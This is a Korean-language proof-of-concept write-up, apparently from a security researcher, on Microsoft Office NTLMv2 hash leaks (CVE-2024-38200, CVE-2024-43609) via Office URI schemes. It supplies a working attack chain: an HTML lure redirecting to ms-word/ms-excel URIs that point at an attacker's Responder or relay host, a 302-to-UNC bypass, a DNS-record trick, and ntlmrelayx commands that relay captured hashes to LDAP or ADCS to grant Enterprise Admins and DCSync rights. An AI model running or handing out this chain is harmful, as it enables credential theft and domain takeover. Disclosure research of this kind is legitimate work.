
CVE-2024-38200 및 CVE-2024-43609 - Microsoft Office NTLMv2 정보 노출 취약점
HTTP를 통한 NTLMv2 해시 캡처 방법은 수정되지 않았습니다. NTLMv2 해시 값은 여전히 HTTP를 통해 획득할 수 있으며 LDAP 또는 ADCS로 릴레이할 수 있습니다. MSRC는 이러한 상황을 "제시된 바와 같이 현재 설계의 일부로 보인다"라고 밝혔습니다.
이 취약점이 패치되더라도 통합 Windows 인증 섹션에서 설명한 것처럼 기본 설정에서도 해시 값을 획득하고 릴레이할 수 있습니다.
이전에는 Office URI 스킴을 사용하여 SMB를 통해 NTLMv2 해시를 캡처하는 방법이 공유되었습니다. 핵심 아이디어는 간단했습니다. 아래 HTML 파일의 URL을 피해자에게 보내 SMB를 통해 NTLMv2 해시를 캡처하는 것입니다. 링크
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
이것이 저에게 영감을 준 지점입니다. Office URI 스킴 페이지를 살펴보면 URI 스킴 내에서 https:// 프로토콜이 사용되는 것을 확인할 수 있습니다. 이는 http://도 잠재적으로 사용될 수 있음을 나타냅니다. 도메인 컨트롤러 서버를 대상으로 NTLM 릴레이 공격을 수행할 때 HTTP를 통해 NTLMv2 해시를 캡처하는 것이 SMB를 통해 캡처하는 것보다 더 유리합니다. 릴레이 차트.
Office 2016 MSO (16.0.4266.1001) 32-bit에서 ms-word:ofe|u|http://test.local:8080/leak/leak.docx URI를 사용했을 때 사용자를 악성 활동으로부터 보호하기 위한 경고 상자가 나타났지만, Microsoft 365 Office 및 Office 2019에 대해서는 같은다고 말할 수 없습니다. 이 버전들은 경고 없이 원격 Office 파일에 접근하며 SMB 및 HTTP 프로토콜을 통해 NTLMv2 해시를 캡처하는 데 악용될 수 있습니다.

CVE-2024-38200에 대한 패치가 올바르게 적용되지 않았다는 것을 발견했습니다. 패치가 게시된 후 Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) 및 Microsoft 365 MSO 2408 Build 16.0.17928.20114를 대상으로 취약점을 테스트했으며 아래와 같이 취약점이 여전히 악용될 수 있음을 확인했습니다 CVE-2024-43609 .
Office 애플리케이션이 Office URI 스킴 (e.g., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx) 을 통해 요청할 때 302 리디렉션으로 HTTP 요청을 UNC 경로로 리디렉션할 수 있습니다. uncredirect.py 스크립트는 MS Office URI 스킴과 함께 전송되는 HTTP 요청을 처리하여 Responder의 IP 주소가 포함된 UNC 경로로 리디렉션합니다. 이로 인해 SMB를 통해 NTLMv2 해시를 캡처하고 ms-word:ofe|u|\\<responder ip>\leak\leak.docx URI에 대한 보안 제한을 우회할 수 있습니다.

uncredirect.py와 responder를 실행합니다.office.html 파일의 URL을 피해자 사용자에게 전송합니다.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
LDAP 릴레이를 수행할 때 HTTP를 통해 NTLMv2 해시를 캡처하는 것이 SMB를 통해 캡처하는 것보다 더 유리합니다. Office URI를 통해 파일이 요청되면 302 리디렉션을 사용해 UNC 경로로 리디렉션하지 않고도 HTTP를 통해 NTLMv2 해시를 획득할 수 있습니다. 이 악용 방법은 인터넷을 통해 수행할 수 없습니다. 인터넷 옵션에 잘못된 구성이 없는 한 기업 네트워크 외부의 호스트에 대해서는 HTTP를 통한 NTLM 인증이 발생하지 않기 때문입니다.
하지만 이는 릴레이 공격과 권한 상승을 위한 효과적인 방법이라고 생각합니다.
"인터넷 옵션" 설정은 Office 애플리케이션의 NTLM 인증 동작에 영향을 미칩니다. 몇 가지 예를 통해 이를 확인할 수 있습니다. NTLMv2 해시를 캡처하기 위해 ms-excel:ofe|u|http://192.168.1.7/leak.xlsx URI 형식을 사용한다고 가정해 보겠습니다.
도메인에 가입된 피해자 머신에 아래 나열된 GPO 중 하나가 적용되면 Office 애플리케이션이 자동으로 인증을 수행합니다.
인터넷 영역의 사용자 인증에서 현재 사용자 이름 및 암호로 자동 로그온이 설정된 경우로컬 인트라넷 사이트에 서브넷 또는 IP 주소 범위가 추가된 경우 (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7)신뢰할 수 있는 사이트에 서브넷 또는 IP 주소 범위가 추가되고 신뢰할 수 있는 사이트 영역의 사용자 인증에서 현재 사용자 이름 및 암호로 자동 로그온이 설정된 경우
위에서 언급한 GPO 중 하나가 적용된 경우, 피해자 사용자가 URI를 클릭하면 Office 애플리케이션이 공격자의 서버에서 leak.docx 파일을 가져오고, 적용된 GPO로 인해 NTLM 인증이 자동으로 발생하므로 NTLMv2 해시가 획득됩니다.

GPO를 악용하는 예시 시나리오:
Office URI를 IP 주소로 설정한 후 (e.g., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), office.html의 URL을 도메인 관리자 권한이 있는 사용자에게 보내고 ntlmrelayx를 사용하여 캡처된 해시를 LDAP(S) 서버로 릴레이할 수 있습니다. ntlmrelayx는 "열기(Open)" 버튼을 클릭하기만 하면 새 사용자를 생성하고 해당 사용자를 Enterprise Admins 그룹에 추가합니다.
참고:
GPO를 통해 추가된 사이트는 다음 레지스트리 키를 사용하여 나열할 수 있습니다.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
위에서 언급한 GPO 중 하나가 적용되지 않으면 NTLM 인증이 자동으로 발생하지 않습니다. 그러나 DNS A 레코드를 추가하고 이 레코드를 Office URI 내에서 사용하면 Windows는 해당 호스트 이름을 인트라넷 영역의 일부로 간주합니다. 이렇게 하면 NTLMv2 인증이 자동으로 발생하며, 잘못 구성된 GPO 없이도 일반 사용자가 권한을 상승시킬 수 있습니다. 표준 권한을 가진 모든 도메인 사용자는 존재하지 않는 DNS 레코드를 추가할 수 있으므로 이 공격은 도메인 사용자의 기본 설정에서도 동작합니다.

office.html 파일은 피해자 사용자가 접근할 수 있는 모든 서버에서 제공할 수 있습니다 (e.g., https://office.com/office.html) . ntlmrelayx가 기본적으로 포트 80을 사용하므로 Apache에 포트 8081을 설정했습니다. 다른 옵션으로 ntlmrelayx에서 --http-port를 사용할 수도 있습니다. office.html 파일 내 Office URI에 추가된 레코드를 입력합니다.

ntlmrelayx 실행: python3 ntlmrelayx.py -t ldap://DC-IP-ADDRESS --escalate-user username
office.html 파일의 URL을 도메인 관리자 권한이 있는 사용자에게 보냅니다. URL을 보내기 전에 ping 명령으로 DNS 레코드가 확인되는지 확인해야 합니다.
피해자 사용자가 URL로 이동하면 'Open' 버튼을 클릭하는 것만으로 NTLMv2 해시를 캡처할 수 있습니다. (경고 없음!)

HTTP를 통해 캡처된 NTLMv2 해시는 ntlmrelayx로 도메인 컨트롤러에 릴레이됩니다. 결과적으로 일반 사용자는 기본 구성에서 단 두 번의 클릭만으로 DCSync 및 Enterprise Admins 권한을 얻을 수 있습니다.

https://github.com/user-attachments/assets/6fdbcd57-16aa-4497-810e-18e0a251e890
https://github.com/user-attachments/assets/22b759f5-1ac2-45bd-8916-714c8a84b40f
참고-1: 도메인에 가입된 서버가 손상되어 inveigh 또는 ntlmrelayx를 실행할 수 있다면 DNS 레코드를 추가할 필요가 없습니다.
Ntlmrelayx: python3 ntlmrelayx.py -t ldaps://DC-IP-ADDRESS --http-port 8080
Office Uri: ms-excel:ofe|u|http://compromisedservername:8080/leak.xlsx
참고-2: 다른 옵션으로 LDAP 대신 피해자 사용자의 해시를 ADCS로 릴레이할 수 있습니다:
python3 ntlmrelayx.py -t http://adcs.unsafe.local/certsrv/certfnsh.asp -smb2support --template User --adcs --http-port 80



이 개념 증명은 Microsoft Office 2019 MSO Build 1808 (16.0.10411.20011) 및 Microsoft 365 MSO (Version 2403 Build 16.0.17425.20176)에서 수행되었습니다.